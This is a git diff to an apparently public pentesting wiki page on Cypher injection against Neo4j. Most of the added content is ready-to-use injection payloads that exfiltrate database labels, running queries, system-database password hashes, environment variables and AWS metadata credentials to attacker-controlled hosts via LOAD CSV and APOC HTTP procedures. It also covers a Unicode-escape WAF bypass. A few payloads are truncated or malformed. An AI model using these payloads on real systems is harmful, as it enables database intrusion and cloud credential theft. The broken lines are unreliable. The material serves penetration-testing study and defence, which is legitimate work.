diff --git a/pentesting-web/sql-injection/cypher-injection-neo4j.md b/pentesting-web/sql-injection/cypher-injection-neo4j.md index 50f3a0af4..674722416 100644 --- a/pentesting-web/sql-injection/cypher-injection-neo4j.md +++ b/pentesting-web/sql-injection/cypher-injection-neo4j.md @@ -2,7 +2,7 @@
-HackTricks in 🐦 Twitter 🐦 - πŸŽ™οΈ Twitch Wed - 18.30(UTC) πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ +HackTricks in 🐦 Twitter 🐦 - πŸŽ™οΈ Twitch Wed - 18.30(UTC) πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) @@ -12,31 +12,283 @@
-## Example +## Common Cypher Injections -`.*' | o ] AS filteredOrganisations CALL db.labels() YIELD label LOAD CSV FROM 'http:///' + label AS r //` +The **MATCH** and **WHERE** statements are **common scenarios**. -> **Explanation of the payload** +When we have found an injection, the way to exploit it depends on the **location within the query**. Below is a table of different injection locations and exploitation examples: -`.*' | o ] AS filteredOrganisations` +| Injectable query | Injection | +| ------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------- | +| `MATCH (o) WHERE o.Id='{input}'` | `' OR 1=1 WITH 0 as _l00 {…} RETURN 1 //` | +|

MATCH (o) WHERE '{input}' = o.Id
MATCH (o) WHERE {input} in [different, values]

| `'=' {…} WITH 0 as _l00 RETURN 1 //` | +| `MATCH (o) WHERE o:{input}` | `a {…} WITH 0 as _l00 RETURN 1 //` | +| `` MATCH (o) WHERE o:`{input}` `` | ``a` {...} WITH 0 as _l00 RETURN 1 //`` | +| `MATCH (o {id:'{input}'})` | `'}) RETURN 1 UNION MATCH (n) {...} RETURN 1 //` | +| `MATCH (o:{input})` | `a) RETURN 1 UNION MATCH (n){...} RETURN 1//` | +| ``MATCH (o:`{input}`)`` | ``a`) RETURN 1 UNION MATCH (n){...} RETURN 1 //`` | +| `MATCH (o)-[r {id:'{input}'})]-(o2)` | `'}]-() RETURN 1 UNION MATCH (n){...} RETURN 1//` | +| `MATCH (o)-[r:{input}]-(o2)` | `a]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //` | +| ``MATCH (o)-[r:`{input}`]-(o2)`` | ``a`]-() RETURN 1 UNION MATCH (n){...} RETURN 1 //`` | -This whole part was to close the current query partially. The above part partially closed the current query and helped adding new clauses to the original query. +Note the UNION statement: -`CALL db.labels() YIELD label` +1. The reason UNION is required is that if the MATCH statement doesn't return anything, the rest of the query won't run. So, all the nefarious things we might do there will simply not execute. +2. We add β€œRETURN 1” before the UNION so both parts return the same columns, which is required for the query to execute. -The CALL clause is used to evaluate a subquery, here the subquery is calling db.labels(), a built-in procedure which returns a list of all labels used in the database. YIELD clause stores the returned list in the variable β€œlabel”. +So, what's with the β€œWITH” statement? -`LOAD CSV FROM 'http:///' + label AS r //` +Using WITH, we can drop all existing variables. This is important when we don't know what the query is (more on that later). If our payload accidentally tries to set a variable that already exists, the query will fail to run. -LOAD CSV is a clause used to load a csv file from a user defined location via the FROM keyword. Here the LOAD CSV makes a request to our burp collaborator client appending one element of the list β€œlabel” at a time. As a result multiple requests were sent to my burp collaborator client and all requests had different label names appended to the requested endpoint. The end part β€˜AS r’ was only used because the query was breaking constantly without it, all it does is loads the csv file as β€œr” and the final two forward slashes β€˜//’ were used to comment out the rest of the query in the same line. +Naturally, if we know the query and the database, none of these techniques are required. We can even manipulate the returned data to in turn manipulate the process instead of just abusing the server. + +## HTTP Exfiltration + +It's possible to use the following method to exfiltrate information to the attacker controlled domain: + +```sql +LOAD CSV FROM 'https://attacker.com/' +``` + +For example + +```sql +// Injection in: +MATCH (o) WHEREo.Id='{input}' RETURN o + +// Injection to get all the preocedures +' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // + +``` + +## APOC + +The first thing an attacker should check is **whether APOC is installed**. APOC (awesome procedures on Cypher) is an **extremely popular**, officially supported plugin for Neo4j that greatly enhances its capabilities. APOC adds many **additional functions and procedures** that developers can use in their environment. Attackers can use the various procedures and functions APOC offers to carry out more advanced attacks. + +### Procedures to process data & send HTTP requests + +* `apoc.convert.toJson` β€” converts nodes, maps, and more to JSON +* `apoc.text.base64Encode` β€” gets a string and encodes it as base64 + +It's possible to **set headers** and **send other methods** than GET. Examples: + +{% code overflow="wrap" %} +```sql +CALL apoc.load.jsonParams("http://victim.internal/api/user",{ method: "POST", `Authorization`:"BEARER " + hacked_token},'{"name":"attacker", "password":"rockyou1"}',"") yield value as value + +CALL apoc.load.csvParams("http://victim.internal/api/me",{ `Authorization`:"BEARER " + hacked_token}, null,{header:FALSE}) yield list +``` +{% endcode %} + +### Procedures to eval queries + +* `apoc.cypher.runFirstColumnMany` β€” a function that returns the values of the first column as a list +* `apoc.cypher.runFirstColumnSingle` β€” a function that returns the first value of the first column +* `apoc.cypher.run` β€” a procedure that runs a query and returns the results as a map +* `apoc.cypher.runMany` β€” a procedure that runs a query or multiple queries separated by a semicolon and returns the results as a map. The queries run in a different transaction. + +## Extracting Information + +### Server Version + +One way to get the server version is to use the procedure `dbms.components()` + +{% code overflow="wrap" %} +```sql +' OR 1=1 WITH 1 as a CALL dbms.components() YIELD name, versions, edition UNWIND versions as version LOAD CSV FROM 'http://10.0.2.4:8000/?version=' + version + '&name=' + name + '&edition=' + edition as l RETURN 0 as _0 // +``` +{% endcode %} + +### Get running query + +The easiest one is to use the procedure `dmbs.listQueries()` + +{% code overflow="wrap" %} +```sql +' OR 1=1 call dbms.listQueries() yield query LOAD CSV FROM 'http://10.0.2.4:8000/?' + query as l RETURN 1 // +``` +{% endcode %} + +In **Neo4j 5 `dbms.listQueries` was removed**. Instead, we can use β€œSHOW TRANSACTIONS”. There are two major limitations: **SHOW queries are not injectable**, and unlike `listQueries`, we can **only see the currently executed query** in the transaction and not all of them. + +If **APOC** core is **installed**, we can use it to run SHOW TRANSACTIONS. If we run in the same transaction, only SHOW TRANSACTIONS will be returned instead of the query we are trying to see. We can use **`apoc.cypher.runMany`** to execute SHOW TRANSACTIONS, because unlike other apoc.cypher functions and procedures, it runs in a different transaction. + +{% code overflow="wrap" %} +```sql +' OR 1=1 call apoc.cypher.runMany("SHOW TRANSACTIONS yield currentQuery RETURN currentQuery",{}) yield result LOAD CSV FROM 'http://10.0.2.4:8000/?' + result['currentQuery'] as l RETURN 1// +``` +{% endcode %} + +### Get labels + +Using the built-in method **`db.labels`**, it is possible to list all existing labels. + +{% code overflow="wrap" %} +```sql +'}) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM 'http://attacker_ip /?l='+label as l RETURN 0 as _0 +``` +{% endcode %} + +### Get properties of a key + +The built-in function **`keys`** can be used to **list the keys of the properties** (This won't work if one of the fields is a list or a map.). + +{% code overflow="wrap" %} +```sql +' OR 1=1 WITH 1 as a MATCH (f:Flag) UNWIND keys(f) as p LOAD CSV FROM 'http://10.0.2.4:8000/?' + p +'='+toString(f[p]) as l RETURN 0 as _0 // +``` +{% endcode %} + +If APOC is available, there's a better way to do it using `apoc.convert.toJson` + +```sql +' OR 1=1 WITH 0 as _0 MATCH (n) LOAD CSV FROM 'http://10.0.2.4:8000/?' + apoc.convert.toJson(n) AS l RETURN 0 as _0 // +``` + +### Get functions and procedures + +Using the built-in procedures **`dbms.functions()`** and **`dbms.procedures()`** it's possible to list all functions and procedures. + +{% code overflow="wrap" %} +```sql +' OR 1=1 WITH 1 as _l00 CALL dbms.functions() yield name LOAD CSV FROM +``` +{% endcode %} + +{% code overflow="wrap" %} +```sql +' OR 1=1 WITH 1 as _l00 CALL dbms.procedures() yield name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // +``` +{% endcode %} + +These procedures **were removed in Neo4j 5.** Instead, we can use **`SHOW PROCEDURES`** and **`SHOW FUNCTIONS`.** SHOW queries cannot be injected. + +If APOC core is installed, we can use any of the procedures or functions that execute queries to list functions and procedures. + +```sql +' OR 1=1 WITH apoc.cypher.runFirstColumnMany("SHOW FUNCTIONS YIELD name RETURN name",{}) as names UNWIND names AS name LOAD CSV FROM 'https://attacker.com/' + name as _l RETURN 1 // +``` + +```sql +' OR 1=1 CALL apoc.cypher.run("SHOW PROCEDURES yield name RETURN name",{}) yield value +LOAD CSV FROM 'https://attacker.com/' + value['name'] as _l RETURN 1 // +``` + +### Get system database + +The system database is a special Neo4j database that is not normally queryable. It contains interesting data stored as nodes: + +* Databases +* Roles +* Users (including the hash of the password!) + +Using APOC, it's possible to retrieve the nodes, including the hashes. Only admins can do this, but in the **free edition of Neo4j, there's only an admin user and no other users**, so it's not uncommon to find yourself running as an admin. + +Use the procedure **`apoc.systemdb.graph()`** to retrieve the data. + +{% code overflow="wrap" %} +```sql +' OR 1=1 WITH 1 as a call apoc.systemdb.graph() yield nodes LOAD CSV FROM 'http://10.0.2.4:8000/?nodes=' + apoc.convert.toJson(nodes) as l RETURN 1 // +``` +{% endcode %} + +Neo4j uses SimpleHash by Apache Shiro to generate the hash. + +The result is stored as a comma-separated values string: + +* Hashing algorithm +* Hash +* Salt +* Iterations + +**For example:** + +```plaintext +SHA-256, 8a80d3ba24d91ef934ce87c6e018d4c17efc939d5950f92c19ea29d7e88b562c,a92f9b1c571bf00e0483effbf39c4a13d136040af4e256d5a978d265308f7270,1024 +``` + +### **Get environment variables** + +Using APOC, it is possible to retrieve the environment variable by using the procedure **`apoc.config.map()`** or **`apoc.config.list()`**. + +These procedures can only be used if they are included in the list of unrestricted procedures in the conf file (dbms.security.procedures.unrestricted). This is more common than one might think, and Googling the setting name results in many sites and guides that advise adding the value β€œapoc.\*”, which allows all APOC procedures. + +```sql +' OR 1=1 CALL apoc.config.list() YIELD key, value LOAD CSV FROM 'http://10.0.2.4:8000/?'+key+"="+" A B C" as l RETURN 1 // +``` + +**Note:** in Neo4j5 the procedures were moved to APOC extended. + +### AWS Cloud Metadata Endpoint + +#### IMDSv1 + +{% code overflow="wrap" %} +```sql +LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/' AS roles UNWIND roles AS role LOAD CSV FROM ' http://169.254.169.254/latest/meta-data/iam/security-credentials/'+role as l + +WITH collect(l) AS _t LOAD CSV FROM 'http://{attacker_ip}/' + substring(_t[4][0],19, 20)+'_'+substring(_t[5][0],23, 40)+'_'+substring(_t[6][0],13, 1044) AS _ +``` +{% endcode %} + +#### IMDSv2 + +We need to **specify headers** and we need to **use methods other than GET**. + +**`LOAD CSV`** can't do either of these things, but we can use **`apoc.load.csvParams`** to get the token and the role, and then **`apoc.load.jsonParams`** to get the credentials themselves. The reason we use csvParams is that the response is not a valid JSON. + +{% code overflow="wrap" %} +```sql +CALL apoc.load.csvParams("http://169.254.169.254/latest/api/token", {method: "PUT",`X-aws-ec2-metadata-token-ttl-seconds`:21600},"",{header:FALSE}) yield list WITH list[0] as token + +CALL apoc.load.csvParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/", { `X-aws-ec2-metadata-token`:token},null,{header:FALSE}) yield list UNWIND list as role + +CALL apoc.load.jsonParams("http://169.254.169.254/latest/meta-data/iam/security-credentials/"+role,{ `X-aws-ec2-metadata-token`:token },null,"") yield value as value +``` +{% endcode %} + +#### Contact AWS API directly + +{% code overflow="wrap" %} +```sql +CALL apoc.load.csvParams('https://iam.amazonaws.com/?Action=ListUsers&Version=2010-05-08', {`X-Amz-Date`:$date, `Authorization`: $signed_token, `X-Amz-Security-Token`:$token}, null, ) YIELD list +``` +{% endcode %} + +* $data is formatted as %Y%m%dT%H%M%SZ +* $token is the token we got from the metadata server +* $signed\_token is calculated according to https://docs.aws.amazon.com/general/latest/gr/signing\_aws\_api\_requests.html + +## WAF Bypass + +### Unicode injection + +In Neo4j >= v4.2.0, it's often possible to **inject Unicode using β€œ\uXXXX”**. For example, you can use this method if the **server tries to remove characters** such as: β€˜, β€œ, \` and so on. + +This may not work if a letter follows the Unicode escape sequence. It's **safe to add a space** afterward or another Unicode notation. + +For example, if the server removes single quotes, and the query looks like the following: + +```sql +MATCH (a: {name: '$INPUT'}) RETURN a +``` + +It is possible to inject: + +{% code overflow="wrap" %} +```sql +\u0027 }) RETURN 0 as _0 UNION CALL db.labels() yield label LOAD CSV FROM "http://attacker/ "+ label RETURN 0 as _o // +``` +{% endcode %} ## References +* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits) * [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
-HackTricks in 🐦 Twitter 🐦 - πŸŽ™οΈ Twitch Wed - 18.30(UTC) πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ +HackTricks in 🐦 Twitter 🐦 - πŸŽ™οΈ Twitch Wed - 18.30(UTC) πŸŽ™οΈ - πŸŽ₯ Youtube πŸŽ₯ * Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)